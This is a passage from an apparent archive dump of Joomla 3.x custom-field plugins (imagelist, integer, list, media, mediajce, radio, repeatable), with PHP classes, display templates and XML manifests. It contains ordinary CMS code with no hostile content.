$class ); } else { $buffer .= sprintf('<img src="images/%s"%s>', htmlentities($path, ENT_COMPAT, 'UTF-8', true), $class ); } } echo $buffer; imagelist/imagelist.php 0000644 00000002165 15234411537 0011222 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Imagelist * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Imagelist Plugin * * @since 3.7.0 */ class PlgFieldsImagelist extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('hide_default', 'true'); $fieldNode->setAttribute('directory', '/images/' . $fieldNode->getAttribute('directory')); return $fieldNode; } } imagelist/imagelist.xml 0000644 00000003436 15234411537 0011235 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_imagelist</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_IMAGELIST_XML_DESCRIPTION</description> <files> <filename plugin="imagelist">imagelist.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_imagelist.ini</language> <language tag="en-GB">en-GB.plg_fields_imagelist.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="directory" type="folderlist" label="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_DESC" directory="images" hide_none="true" hide_default="true" recursive="true" default="/" > <option value="/">/</option> </field> <field name="multiple" type="radio" label="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="image_class" type="textarea" label="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_DESC" size="40" /> </fieldset> </fields> </config> </extension> integer/params/integer.xml 0000644 00000002010 15234411537 0011641 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="multiple" type="list" label="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="first" type="number" label="PLG_FIELDS_INTEGER_PARAMS_FIRST_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_FIRST_DESC" filter="integer" size="5" /> <field name="last" type="number" label="PLG_FIELDS_INTEGER_PARAMS_LAST_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_LAST_DESC" filter="integer" size="5" /> <field name="step" type="number" label="PLG_FIELDS_INTEGER_PARAMS_STEP_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_STEP_DESC" filter="integer" size="5" /> </fieldset> </fields> </form> integer/tmpl/integer.php 0000644 00000000675 15234411537 0011340 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Integer * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } if (is_array($value)) { $value = implode(', ', array_map('intval', $value)); } else { $value = (int) $value; } echo $value; integer/integer.php 0000644 00000000701 15234411537 0010352 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Integer * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Integer Plugin * * @since 3.7.0 */ class PlgFieldsInteger extends FieldsPlugin { } integer/integer.xml 0000644 00000003564 15234411537 0010375 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_integer</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_INTEGER_XML_DESCRIPTION</description> <files> <filename plugin="integer">integer.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_integer.ini</language> <language tag="en-GB">en-GB.plg_fields_integer.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="multiple" type="radio" label="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="first" type="number" label="PLG_FIELDS_INTEGER_PARAMS_FIRST_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_FIRST_DESC" default="1" filter="integer" size="5" /> <field name="last" type="number" label="PLG_FIELDS_INTEGER_PARAMS_LAST_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_LAST_DESC" default="100" filter="integer" size="5" /> <field name="step" type="number" label="PLG_FIELDS_INTEGER_PARAMS_STEP_LABEL" description="PLG_FIELDS_INTEGER_PARAMS_STEP_DESC" default="1" filter="integer" size="5" /> </fieldset> </fields> </config> </extension> list/params/list.xml 0000644 00000002043 15234411537 0010503 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="multiple" type="list" label="PLG_FIELDS_LIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_LIST_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="options" type="subform" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_LIST_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </form> list/tmpl/list.php 0000644 00000001130 15234411537 0010157 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.List * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $fieldValue = $field->value; if ($fieldValue == '') { return; } $fieldValue = (array) $fieldValue; $texts = array(); $options = $this->getOptionsFromField($field); foreach ($options as $value => $name) { if (in_array((string) $value, $fieldValue)) { $texts[] = JText::_($name); } } echo htmlentities(implode(', ', $texts)); list/list.php 0000644 00000002040 15234411537 0007204 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.List * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields list Plugin * * @since 3.7.0 */ class PlgFieldsList extends FieldsListPlugin { /** * Prepares the field * * @param string $context The context. * @param stdclass $item The item. * @param stdclass $field The field. * * @return object * * @since 3.9.2 */ public function onCustomFieldsPrepareField($context, $item, $field) { // Check if the field should be processed if (!$this->isTypeSupported($field->type)) { return; } // The field's rawvalue should be an array if (!is_array($field->rawvalue)) { $field->rawvalue = (array) $field->rawvalue; } return parent::onCustomFieldsPrepareField($context, $item, $field); } } list/list.xml 0000644 00000003426 15234411537 0007226 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_list</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_LIST_XML_DESCRIPTION</description> <files> <filename plugin="list">list.php</filename> </files> <languages> <language tag="en-GB">en-GB.plg_fields_list.ini</language> <language tag="en-GB">en-GB.plg_fields_list.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="multiple" type="radio" label="PLG_FIELDS_LIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_LIST_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="options" type="subform" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_LIST_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </config> </extension> media/params/media.xml 0000644 00000001720 15234411537 0010714 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="directory" type="folderlist" label="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_DESC" directory="images" hide_none="true" recursive="true" /> <field name="preview" type="list" label="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_DESC" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="tooltip">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_TOOLTIP</option> <option value="true">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_INLINE</option> <option value="false">JNO</option> </field> <field name="image_class" type="textarea" label="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_DESC" size="40" /> </fieldset> </fields> </form> media/tmpl/media.php 0000644 00000001230 15234411537 0010370 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Media * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; if ($field->value == '') { return; } $class = $fieldParams->get('image_class'); if ($class) { $class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"'; } $value = (array) $field->value; $buffer = ''; foreach ($value as $path) { if (!$path) { continue; } $buffer .= sprintf('<img src="%s"%s>', htmlentities($path, ENT_COMPAT, 'UTF-8', true), $class ); } echo $buffer; media/media.php 0000644 00000002014 15234411537 0007415 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Media * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Media Plugin * * @since 3.7.0 */ class PlgFieldsMedia extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('hide_default', 'true'); return $fieldNode; } } media/media.xml 0000644 00000003350 15234411537 0007432 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_media</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_MEDIA_XML_DESCRIPTION</description> <files> <filename plugin="media">media.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_media.ini</language> <language tag="en-GB">en-GB.plg_fields_media.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="directory" type="folderlist" label="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_DESC" directory="images" hide_none="true" recursive="true" /> <field name="preview" type="list" label="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_DESC" class="btn-group" default="tooltip" > <option value="tooltip">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_TOOLTIP</option> <option value="true">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_INLINE</option> <option value="false">JNO</option> </field> <field name="image_class" type="textarea" label="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_LABEL" description="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_DESC" size="40" /> </fieldset> </fields> </config> </extension> mediajce/params/mediajce.xml 0000644 00000002771 15234411537 0012067 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="mediatype" type="combo" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_DESC" > <option value="images">images</option> <option value="files">files</option> </field> <field name="media_class" type="text" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_DESC" /> <field name="media_description" type="text" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_DESC" /> <field name="media_target" type="list" default="" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_DESC" showon="mediatype!:images" > <option value=""></option> <option value="_blank">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_BLANK</option> <option value="_self">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_SELF</option> <option value="_parent">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_PARENT</option> <option value="_top">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_TOP</option> <option value="download">PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_TARGET_DOWNLOAD</option> </field> </fieldset> </fields> </form> mediajce/tmpl/mediajce.php 0000644 00000004262 15234411537 0011544 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.MediaJce * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @copyright Copyright (C) 2020 Ryan Demmer. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; jimport('joomla.filesystem.path'); if ($field->value == '') { return; } $data = json_decode($field->value); if (!$data) { $data = (object) array('src' => $field->value, 'alt' => ''); } $class = (string) $fieldParams->get('media_class', ''); $target = (string) $fieldParams->get('media_target', ''); $type = (string) $fieldParams->get('mediatype', 'images'); $text = (string) $fieldParams->get('media_description', ''); $attribs = array(); if ($class) { $attribs[] = 'class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"'; } if ($text) { $text = htmlentities($text, ENT_COMPAT, 'UTF-8', true); } $value = (array) $data->src; $buffer = ''; $element = '<img src="%s"%s alt="%s" />'; if ($type !== "images") { $element = '<a href="%s"%s>%s</a>'; } else { $text = $data->alt; } foreach ($value as $path) { if (!$path) { continue; } // remove some common characters $path = preg_replace('#[\+\\\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]#', '', $path); // trim $path = trim($path); // check for valid path after clean if (!$path) { continue; } // clean path $path = JPath::clean($path); // create full path $fullpath = JPATH_SITE . '/' . trim($path, '/'); // check path is valid if (!is_file($fullpath)) { continue; } // set text as basename if not an image if (!$text && $type !== "images") { $text = basename($path); if ($target) { if ($target == 'download') { $target = ' download="' . $path . '"'; } else { $target = ' target="' . $target . '"'; } $attribs[] = $target; } } $buffer .= sprintf($element, htmlentities($path, ENT_COMPAT, 'UTF-8', true), implode(' ', $attribs), $text ); } echo $buffer; mediajce/mediajce.php 0000644 00000001120 15234411537 0010556 0 ustar 00 <?php /** * @package JCE.Plugin * @subpackage Fields.Media_Jce * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @copyright Copyright (C) 2020 Ryan Demmer. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); JForm::addFieldPath(JPATH_PLUGINS . '/system/jce/fields'); /** * Fields MediaJce Plugin * * @since 2.6.27 */ class PlgFieldsMediaJce extends FieldsPlugin { } mediajce/mediajce.xml 0000644 00000003300 15234411537 0010571 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.8" group="fields" method="upgrade"> <name>plg_fields_mediajce</name> <version>2.9.21</version> <creationDate>30-03-2022</creationDate> <author>Ryan Demmer</author> <authorEmail>info@joomlacontenteditor.net</authorEmail> <authorUrl>https://www.joomlacontenteditor.net</authorUrl> <copyright>Copyright (C) 2006 - 2022 Ryan Demmer. All rights reserved</copyright> <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license> <description>PLG_FIELDS_MEDIAJCE_XML_DESCRIPTION</description> <files folder="plugins/fields/mediajce"> <filename plugin="mediajce">mediajce.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages folder="administrator/language/en-GB"> <language tag="en-GB">en-GB.plg_fields_mediajce.ini</language> <language tag="en-GB">en-GB.plg_fields_mediajce.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="mediatype" type="combo" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIATYPE_DESC" > <option value="images">images</option> <option value="files">files</option> </field> <field name="media_class" type="text" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_CLASS_DESC" /> <field name="media_description" type="text" label="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_LABEL" description="PLG_FIELDS_MEDIAJCE_PARAMS_MEDIA_DESCRIPTION_DESC" /> </fieldset> </fields> </config> </extension> radio/params/radio.xml 0000644 00000001777 15234411537 0010766 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="options" type="subform" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_RADIO_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> <fields name="params"> <fieldset name="basic"> <field name="class" type="textarea" label="COM_FIELDS_FIELD_CLASS_LABEL" description="COM_FIELDS_FIELD_CLASS_DESC" class="input-xxlarge" size="40" default="btn-group" /> </fieldset> </fields> </form> radio/tmpl/radio.php 0000644 00000001124 15234411537 0010430 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Radio * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } $value = (array) $value; $texts = array(); $options = $this->getOptionsFromField($field); foreach ($options as $optionValue => $optionText) { if (in_array((string) $optionValue, $value)) { $texts[] = JText::_($optionText); } } echo htmlentities(implode(', ', $texts)); radio/radio.php 0000644 00000000703 15234411537 0007456 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Radio * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields Radio Plugin * * @since 3.7.0 */ class PlgFieldsRadio extends FieldsListPlugin { } radio/radio.xml 0000644 00000003011 15234411537 0007462 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_radio</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_RADIO_XML_DESCRIPTION</description> <files> <filename plugin="radio">radio.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_radio.ini</language> <language tag="en-GB">en-GB.plg_fields_radio.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="options" type="subform" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_RADIO_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </config> </extension> repeatable/params/repeatable.xml 0000644 00000004710 15234411537 0012770 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="fields" type="subform" label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDS_LABEL" description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDS_DESC" multiple="true"> <form> <fields> <fieldset> <field name="fieldname" type="text" label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_NAME_LABEL" description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_NAME_DESC" required="true" /> <field name="fieldtype" type="list" label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_LABEL" description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_DESC" > <option value="editor">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_EDITOR</option> <option value="media">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_MEDIA</option> <option value="number">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_NUMBER</option> <option value="text">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_TEXT</option> <option value="textarea">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_TEXTAREA</option> </field> <field name="fieldfilter" type="list" label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC" class="btn-group" validate="options" showon="fieldtype!:media,number" > <option value="0">JNO</option> <option showon="fieldtype:editor,text,textarea" value="raw">JLIB_FILTER_PARAMS_RAW</option> <option showon="fieldtype:editor,text,textarea" value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option showon="fieldtype:editor,text,textarea" value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option showon="fieldtype:text,textarea" value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option showon="fieldtype:text,textarea" value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option showon="fieldtype:text,textarea" value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option showon="fieldtype:text,textarea" value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> </fieldset> </fields> </form> </field> </fieldset> </fields> </form> repeatable/tmpl/repeatable.php 0000644 00000001077 15234411537 0012453 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Repeatable * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $fieldValue = $field->value; if ($fieldValue === '') { return; } // Get the values $fieldValues = json_decode($fieldValue, true); if (empty($fieldValues)) { return; } $html = '<ul>'; foreach ($fieldValues as $value) { $html .= '<li>' . implode(', ', $value) . '</li>'; } $html .= '</ul>'; echo $html; repeatable/repeatable.php 0000644 00000007333 15234411537 0011500 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Repeatable * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ use Joomla\CMS\MVC\Model\BaseDatabaseModel; defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Repeatable plugin. * * @since 3.9.0 */ class PlgFieldsRepeatable extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.9.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $readonly = false; if (!FieldsHelper::canEditFieldValue($field)) { $readonly = true; } $fieldNode->setAttribute('type', 'subform'); $fieldNode->setAttribute('multiple', 'true'); $fieldNode->setAttribute('layout', 'joomla.form.field.subform.repeatable-table'); // Build the form source $fieldsXml = new SimpleXMLElement('<form/>'); $fields = $fieldsXml->addChild('fields'); // Get the form settings $formFields = $field->fieldparams->get('fields'); // Add the fields to the form foreach ($formFields as $index => $formField) { $child = $fields->addChild('field'); $child->addAttribute('name', $formField->fieldname); $child->addAttribute('type', $formField->fieldtype); $child->addAttribute('readonly', $readonly); if (isset($formField->fieldfilter)) { $child->addAttribute('filter', $formField->fieldfilter); } } $fieldNode->setAttribute('formsource', $fieldsXml->asXML()); // Return the node return $fieldNode; } /** * The save event. * * @param string $context The context * @param JTable $item The article data * @param boolean $isNew Is new item * @param array $data The validated data * * @return boolean * * @since 3.9.0 */ public function onContentAfterSave($context, $item, $isNew, $data = array()) { // Create correct context for category if ($context == 'com_categories.category') { $context = $item->get('extension') . '.categories'; // Set the catid on the category to get only the fields which belong to this category $item->set('catid', $item->get('id')); } // Check the context $parts = FieldsHelper::extract($context, $item); if (!$parts) { return true; } // Compile the right context for the fields $context = $parts[0] . '.' . $parts[1]; // Loading the fields $fields = FieldsHelper::getFields($context, $item); if (!$fields) { return true; } // Get the fields data $fieldsData = !empty($data['com_fields']) ? $data['com_fields'] : array(); // Loading the model /** @var FieldsModelField $model */ $model = BaseDatabaseModel::getInstance('Field', 'FieldsModel', array('ignore_request' => true)); // Loop over the fields foreach ($fields as $field) { // Find the field of this type repeatable if ($field->type !== $this->_name) { continue; } // Determine the value if it is available from the data $value = key_exists($field->name, $fieldsData) ? $fieldsData[$field->name] : null; // Handle json encoded values if (!is_array($value)) { $value = json_decode($value, true); } // Setting the value for the field and the item $model->setFieldValue($field->id, $item->get('id'), json_encode($value)); } return true; } } repeatable/repeatable.xml 0000644 00000001556 15234411537 0011512 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.8.0" group="fields" method="upgrade"> <name>plg_fields_repeatable</name> <author>Joomla! Project</author> <creationDate>April 2018</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_FIELDS_REPEATABLE_XML_DESCRIPTION</description> <files> <filename plugin="repeatable">repeatable.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages folder="language"> <language 